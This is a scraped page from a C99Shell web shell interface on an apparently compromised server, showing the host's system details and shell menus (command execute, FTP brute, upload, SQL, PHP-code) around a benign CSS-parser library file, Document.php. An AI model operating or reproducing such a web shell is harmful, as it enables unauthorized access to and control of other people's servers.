!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/sabberworm/php-css-parser/src/CSSList/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Document.php (5.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Sabberworm\CSS\CSSList;

use 
Sabberworm\CSS\OutputFormat;
use 
Sabberworm\CSS\Parsing\ParserState;
use 
Sabberworm\CSS\Parsing\SourceException;
use 
Sabberworm\CSS\Property\Selector;
use 
Sabberworm\CSS\RuleSet\DeclarationBlock;
use 
Sabberworm\CSS\RuleSet\RuleSet;
use 
Sabberworm\CSS\Value\Value;

/**
 * This class represents the root of a parsed CSS file. It contains all top-level CSS contents: mostly declaration
 * blocks, but also any at-rules encountered (`Import` and `Charset`).
 */
class Document extends CSSBlockList
{
    
/**
     * @param int $iLineNo
     */
    
public function __construct($iLineNo 0)
    {
        
parent::__construct($iLineNo);
    }

    
/**
     * @return Document
     *
     * @throws SourceException
     *
     * @internal since V8.8.0
     */
    
public static function parse(ParserState $oParserState)
    {
        
$oDocument = new Document($oParserState->currentLine());
        
CSSList::parseList($oParserState$oDocument);
        return 
$oDocument;
    }

    
/**
     * Gets all `DeclarationBlock` objects recursively, no matter how deeply nested the selectors are.
     * Aliased as `getAllSelectors()`.
     *
     * @return array<int, DeclarationBlock>
     */
    
public function getAllDeclarationBlocks()
    {
        
/** @var array<int, DeclarationBlock> $aResult */
        
$aResult = [];
        
$this->allDeclarationBlocks($aResult);
        return 
$aResult;
    }

    
/**
     * Gets all `DeclarationBlock` objects recursively.
     *
     * @return array<int, DeclarationBlock>
     *
     * @deprecated will be removed in version 9.0; use `getAllDeclarationBlocks()` instead
     */
    
public function getAllSelectors()
    {
        return 
$this->getAllDeclarationBlocks();
    }

    
/**
     * Returns all `RuleSet` objects recursively found in the tree, no matter how deeply nested the rule sets are.
     *
     * @return array<int, RuleSet>
     */
    
public function getAllRuleSets()
    {
        
/** @var array<int, RuleSet> $aResult */
        
$aResult = [];
        
$this->allRuleSets($aResult);
        return 
$aResult;
    }

    
/**
     * Returns all `Value` objects found recursively in `Rule`s in the tree.
     *
     * @param CSSList|RuleSet|string $mElement
     *        the `CSSList` or `RuleSet` to start the search from (defaults to the whole document).
     *        If a string is given, it is used as rule name filter.
     * @param bool $bSearchInFunctionArguments whether to also return Value objects used as Function arguments.
     *
     * @return array<int, Value>
     *
     * @see RuleSet->getRules()
     */
    
public function getAllValues($mElement null$bSearchInFunctionArguments false)
    {
        
$sSearchString null;
        if (
$mElement === null) {
            
$mElement $this;
        } elseif (
is_string($mElement)) {
            
$sSearchString $mElement;
            
$mElement $this;
        }
        
/** @var array<int, Value> $aResult */
        
$aResult = [];
        
$this->allValues($mElement$aResult$sSearchString$bSearchInFunctionArguments);
        return 
$aResult;
    }

    
/**
     * Returns all `Selector` objects with the requested specificity found recursively in the tree.
     *
     * Note that this does not yield the full `DeclarationBlock` that the selector belongs to
     * (and, currently, there is no way to get to that).
     *
     * @param string|null $sSpecificitySearch
     *        An optional filter by specificity.
     *        May contain a comparison operator and a number or just a number (defaults to "==").
     *
     * @return array<int, Selector>
     * @example `getSelectorsBySpecificity('>= 100')`
     *
     */
    
public function getSelectorsBySpecificity($sSpecificitySearch null)
    {
        
/** @var array<int, Selector> $aResult */
        
$aResult = [];
        
$this->allSelectors($aResult$sSpecificitySearch);
        return 
$aResult;
    }

    
/**
     * Expands all shorthand properties to their long value.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    
public function expandShorthands()
    {
        foreach (
$this->getAllDeclarationBlocks() as $oDeclaration) {
            
$oDeclaration->expandShorthands();
        }
    }

    
/**
     * Create shorthands properties whenever possible.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    
public function createShorthands()
    {
        foreach (
$this->getAllDeclarationBlocks() as $oDeclaration) {
            
$oDeclaration->createShorthands();
        }
    }

    
/**
     * Overrides `render()` to make format argument optional.
     *
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    
public function render($oOutputFormat null)
    {
        if (
$oOutputFormat === null) {
            
$oOutputFormat = new OutputFormat();
        }
        return 
$oOutputFormat->comments($this) . $this->renderListContents($oOutputFormat);
    }

    
/**
     * @return bool
     */
    
public function isRootList()
    {
        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0322 ]--